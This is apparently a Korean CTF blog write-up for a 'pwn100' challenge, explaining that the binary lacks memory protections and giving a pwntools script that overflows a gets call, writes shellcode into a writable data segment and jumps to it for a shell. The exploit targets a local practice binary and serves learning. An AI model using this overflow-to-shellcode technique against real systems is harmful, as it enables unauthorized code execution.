메모리 보호기법이 아무 것도 걸려있지 않다. 여러 가지 시나리오를 생각해 볼 수 있다.
docopy를 실행하고 내부에서는 gets를 호출한다.
따로 shell을 주는 코드가 없으므로 shellcode를 작성해서 고정 영역인 data segment에 쓴 뒤 실행해준다.
0x0804A000에서 0x0804B000에 wx권한이 있으므로 적당한 곳에 써준 뒤 점프하면 된다.
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./pwn100')
else :
print 'Remote server is disabled'
exit()
gets_plt = 0x080482F0
data_seg = 0x0804A100
shellcode = asm(shellcraft.i386.linux.sh())
payload = 'A'*28
payload += p32(gets_plt)
payload += p32(data_seg)*2
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
'CTF' 카테고리의 다른 글
[bugs_bunny 2k17] pwn50 (0) | 2019.07.16 |
---|